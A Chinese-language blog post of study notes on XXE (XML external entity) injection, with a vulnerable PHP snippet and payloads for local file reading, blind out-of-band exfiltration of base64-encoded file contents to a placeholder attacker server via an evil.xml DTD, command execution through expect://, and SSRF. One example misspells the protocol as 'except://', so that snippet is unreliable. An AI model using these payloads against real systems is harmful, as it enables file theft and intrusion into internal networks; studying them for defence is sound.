XXE漏洞原理&&基础

  1. XXE漏洞原理&&基础
  2. 原理
  3. 基本利用
    1. 有回显
    2. 无回显
    3. 命令执行
    4. SSRF

XXE漏洞原理&&基础

今年网安必进步!先复习下各种基础。。。。今年至少更新200篇!

原理

攻击者强制XML解析器去访问攻击者指定的资源内容,导致可加载恶意外部文件,利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

一句话概括:用户传入的XML被解析成实体执行

  • XXE漏洞产生在外部实体
  • 主要有4个利用方向:文件读取,命令执行,DOS攻击,SSRF
  • 按照有无回显可以分为两大类
  • 无回显可以加载外部实体,返回数据到我们Vps上;或者加载本地实体报错回显

危害:
1.导致可以加载恶意外部文件
2.造成文件读取
3.内网端口扫描
4.攻击内网网站
5.发起dos攻击等危害

基本利用

XXE 和 SQL注入 的攻击方法也有一点相似,也分有回显和没有回显
无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据

有回显

测试代码

<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);//有回显
?>

simple_load_string解析接收过来的XML代码

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

无回显

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。
虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>

evil.xml

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
//%号要进行实体编码成&#x25

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除

php

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<root><name>&xxe;</name></root>

SSRF

SSRF的触发点通常是在ENTITY实体中

<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY % ssrf SYSTEM "http://ip:port">
    %ssrf;
]>

问我为什么3年还是在学基础?很好,我只能说考研把这些忘完了捏。今年护完网打算就在今年把,js,java代码审计,内网,一系列的红队东西全部学透,一起加油!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。